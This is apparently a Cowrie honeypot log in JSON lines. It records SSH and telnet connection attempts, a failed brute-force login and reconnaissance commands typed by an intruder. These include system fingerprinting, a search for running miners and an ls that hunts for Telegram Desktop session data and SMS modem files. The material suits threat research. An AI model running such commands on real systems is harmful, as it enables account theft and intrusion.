{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.339620Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.589226Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.593005Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.704082Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.956916Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:55.960456Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.070966Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.321965Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.325476Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.438814Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.690295Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.693262Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:56.805468Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.055892Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.059594Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42bc2ebc14b","protocol":"telnet","message":"New connection: 38.60.198.128:39920 (159.203.135.109:23) [session: d42bc2ebc14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.067484Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.172219Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.430017Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.433641Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":59782,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01599c95131","protocol":"ssh","message":"New connection: 198.98.56.205:59782 (159.203.135.109:22) [session: b01599c95131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.456698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.462091Z","src_ip":"198.98.56.205","session":"b01599c95131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.467636Z","src_ip":"198.98.56.205","session":"b01599c95131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"1qaz@WSX","message":"login attempt [test1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.519638Z","src_ip":"198.98.56.205","session":"b01599c95131","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.552095Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.48329210281372,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.689773Z","src_ip":"38.60.198.128","session":"387061f277ef","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.806517Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.810087Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:57.991552Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:58.248339Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:58.251699Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:58.362234Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:58.527524Z","src_ip":"198.98.56.205","session":"b01599c95131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.30665636062622,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:59.514810Z","src_ip":"38.60.198.128","session":"6a8d74b75623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54990,"dst_ip":"159.203.135.109","dst_port":23,"session":"277eb634f963","protocol":"telnet","message":"New connection: 38.60.198.128:54990 (159.203.135.109:23) [session: 277eb634f963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:14:59.838330Z"}
{"eventid":"cowrie.session.closed","duration":42.250688791275024,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:00.833054Z","src_ip":"38.60.198.128","session":"b3357baf7e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55262,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ef4d22e52b","protocol":"telnet","message":"New connection: 38.60.198.128:55262 (159.203.135.109:23) [session: 53ef4d22e52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:01.099394Z"}
{"eventid":"cowrie.session.closed","duration":40.93234825134277,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:05.766528Z","src_ip":"38.60.198.128","session":"2adb0d08c07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58394,"dst_ip":"10.17.0.5","dst_port":23,"session":"19329aa29eb8","protocol":"telnet","message":"New connection: 45.81.23.16:58394 (10.17.0.5:23) [session: 19329aa29eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:09.280752Z"}
{"eventid":"cowrie.session.closed","duration":120.00296831130981,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:09.332286Z","src_ip":"177.157.238.18","session":"63ca02fa0571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58410,"dst_ip":"10.17.0.5","dst_port":23,"session":"f301224650db","protocol":"telnet","message":"New connection: 45.81.23.16:58410 (10.17.0.5:23) [session: f301224650db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:09.573756Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":58420,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a0f91145b1","protocol":"telnet","message":"New connection: 45.81.23.16:58420 (10.17.0.5:23) [session: c7a0f91145b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:10.740988Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35472,"dst_ip":"10.17.0.5","dst_port":23,"session":"149c281183fe","protocol":"telnet","message":"New connection: 45.81.23.16:35472 (10.17.0.5:23) [session: 149c281183fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:10.825095Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.157.238.18","src_port":50678,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81f79c0902c","protocol":"telnet","message":"New connection: 177.157.238.18:50678 (10.17.0.5:23) [session: d81f79c0902c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:10.892663Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fbff1f52265","protocol":"telnet","message":"New connection: 45.81.23.16:35484 (10.17.0.5:23) [session: 6fbff1f52265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:11.213139Z"}
{"eventid":"cowrie.session.closed","duration":60.20707702636719,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:11.997484Z","src_ip":"38.60.198.128","session":"eee236ca7f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.196268796920776,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:12.055848Z","src_ip":"38.60.198.128","session":"bc7da053a48f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42888,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ec6af0988bf","protocol":"telnet","message":"New connection: 38.60.198.128:42888 (159.203.135.109:23) [session: 8ec6af0988bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:13.386481Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44382,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d41905066df","protocol":"telnet","message":"New connection: 38.60.198.128:44382 (159.203.135.109:23) [session: 6d41905066df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:14.691832Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0ed2c5b8fe3","protocol":"telnet","message":"New connection: 38.60.198.128:48250 (159.203.135.109:23) [session: b0ed2c5b8fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:18.772908Z"}
{"eventid":"cowrie.session.closed","duration":11.907905340194702,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:21.188524Z","src_ip":"45.81.23.16","session":"19329aa29eb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50026,"dst_ip":"159.203.135.109","dst_port":23,"session":"648bdfc8729a","protocol":"telnet","message":"New connection: 38.60.198.128:50026 (159.203.135.109:23) [session: 648bdfc8729a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:22.345818Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54144,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e48a61f5df","protocol":"telnet","message":"New connection: 38.60.198.128:54144 (159.203.135.109:23) [session: 10e48a61f5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:23.117393Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49032,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fe154a41835","protocol":"telnet","message":"New connection: 192.211.53.160:49032 (159.203.135.109:23) [session: 4fe154a41835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:26.374367Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49042,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b04264bf6d","protocol":"telnet","message":"New connection: 192.211.53.160:49042 (159.203.135.109:23) [session: c5b04264bf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:26.394712Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0e5a0dea4b2","protocol":"telnet","message":"New connection: 38.60.198.128:58600 (159.203.135.109:23) [session: e0e5a0dea4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:27.221209Z"}
{"eventid":"cowrie.session.closed","duration":40.58945608139038,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:30.868553Z","src_ip":"38.60.198.128","session":"86eccffb790b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37902,"dst_ip":"159.203.135.109","dst_port":23,"session":"59140d7e2f14","protocol":"telnet","message":"New connection: 38.60.198.128:37902 (159.203.135.109:23) [session: 59140d7e2f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:33.394979Z"}
{"eventid":"cowrie.session.closed","duration":"40.8","message":"Connection lost after 40.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:33.756928Z","src_ip":"92.33.220.174","session":"a4891134a59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.71634650230408,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:36.736489Z","src_ip":"38.60.198.128","session":"53ba6ca05eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":51040,"dst_ip":"159.203.135.109","dst_port":23,"session":"670556a774a9","protocol":"telnet","message":"New connection: 192.211.53.160:51040 (159.203.135.109:23) [session: 670556a774a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:38.147852Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52192,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f0d9d7dc27","protocol":"telnet","message":"New connection: 192.211.53.160:52192 (159.203.135.109:23) [session: 21f0d9d7dc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:40.851379Z"}
{"eventid":"cowrie.session.closed","duration":44.97093963623047,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:44.809146Z","src_ip":"38.60.198.128","session":"277eb634f963","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00354361534119,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:47.371531Z","src_ip":"197.97.45.41","session":"6f82881a7000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55946,"dst_ip":"159.203.135.109","dst_port":23,"session":"df225989787a","protocol":"telnet","message":"New connection: 38.60.198.128:55946 (159.203.135.109:23) [session: df225989787a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:48.472142Z"}
{"eventid":"cowrie.session.closed","duration":47.982033014297485,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:49.081145Z","src_ip":"38.60.198.128","session":"53ef4d22e52b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62356996536255,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:51.836611Z","src_ip":"45.81.23.16","session":"6fbff1f52265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.17178463935852,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:54.912656Z","src_ip":"45.81.23.16","session":"c7a0f91145b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":45166,"dst_ip":"10.17.0.5","dst_port":23,"session":"97babb3c10da","protocol":"telnet","message":"New connection: 144.91.112.66:45166 (10.17.0.5:23) [session: 97babb3c10da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:55.033524Z"}
{"eventid":"cowrie.session.closed","duration":46.36121344566345,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:15:55.934851Z","src_ip":"45.81.23.16","session":"f301224650db","protocol":"telnet"}
